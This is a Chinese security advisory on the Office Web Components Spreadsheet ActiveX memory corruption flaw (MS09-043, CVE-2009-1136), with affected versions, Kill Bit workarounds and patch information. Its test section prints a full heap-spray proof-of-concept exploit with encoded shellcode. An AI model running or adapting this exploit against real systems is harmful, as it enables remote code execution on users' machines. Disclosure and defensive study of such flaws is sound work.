安全研究

安全漏洞
Microsoft Office Spreadsheet ActiveX控件内存破坏漏洞(MS09-043)

发布日期:2009-07-13
更新日期:2009-07-14

受影响系统:
Microsoft ISA Server 2006 SP1
Microsoft ISA Server 2006
Microsoft ISA Server 2004 SP3
Microsoft Office XP SP3
Microsoft Office 2003 Service Pack 3
描述:
BUGTRAQ  ID: 35642
CVE(CAN) ID: CVE-2009-1136

Microsoft Office是非常流行的办公软件套件。

Office Web组件是用于向Web发布电子表格、图表和数据库的COM控件,其中的Spreadsheet ActiveX控件(OWC 10和OWC11)存在内存破坏漏洞。如果用户受骗访问了恶意恶意网页并向该控件,就会导致执行任意指令。

目前这个漏洞正在被挂马攻击广为利用。

<*来源:Ferm韓 J. Serna (fjserna@ngsec.com
  
  链接:http://secunia.com/advisories/35800/
        http://www.microsoft.com/technet/security/advisory/973472.mspx?pf=true
        http://blogs.technet.com/msrc/archive/2009/07/13/microsoft-security-advisory-973472-released.aspx
        http://blogs.technet.com/srd/archive/2009/07/13/more-information-about-the-office-web-components-activex-vulnerability.aspx
        http://www.microsoft.com/technet/security/bulletin/MS09-043.mspx?pf=true
        http://www.us-cert.gov/cas/techalerts/TA09-223A.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<body>
<script language="JavaScript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF
%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201
%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B
%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868
%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8
%u6873%uFE98%u0E8A
%uFF57%u63E7%u6C61%u0063");
var array = new Array();
var ls = 0x81000-(shellcode.length*2);
var bigblock = unescape("%u0b0c%u0b0C");
while(bigblock.length<ls/2)
{bigblock+=bigblock;}
var lh = bigblock.substring(0,ls/2);
delete bigblock;
for(i=0;i<0x99*2;i++) {
array[i] = lh + lh + shellcode;
}
CollectGarbage();
var obj = new ActiveXObject("OWC10.Spreadsheet");
e=new Array();
e.push(1);
e.push(2);
e.push(0);
e.push(window);
for(i=0;i<e.length;i++){
for(j=0;j<10;j++){
try{
obj.Evaluate(e[i]);
}
catch(e)
{}
}
}
window.status=e[3] +'';
for(j=0;j<10;j++){
try{
obj.msDataSourceObject(e[3]);
}
catch(e)
{}
}
</script>
</body>
</html>

http://metasploit.com/framework/
http://milw0rm.com/exploits/9224

建议:
临时解决方法:

* 对漏洞相关的控件设置Kill Bit,对漏洞相关控件设置Kill Bit应该不会对系统造成太大影响。
      
设置Kill Bit,或者将以下文本保存为.REG文件并导入:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{0002E541-0000-0000-C000-000000000046}]
"Compatibility Flags"=dword:00000400

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{0002E559-0000-0000-C000-000000000046}]
"Compatibility Flags"=dword:00000400

微软已经提供了一个工具来完成上述操作:
http://go.microsoft.com/?linkid=9672747

* 暂时不要使用IE浏览器,可以使用Opera或Firefox。

厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS09-043)以及相应补丁:
MS09-043:Vulnerabilities in Microsoft Office Web Components Could Allow Remote Code Execution (957638)
链接:http://www.microsoft.com/technet/security/bulletin/MS09-043.mspx?pf=true

浏览次数:22957
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障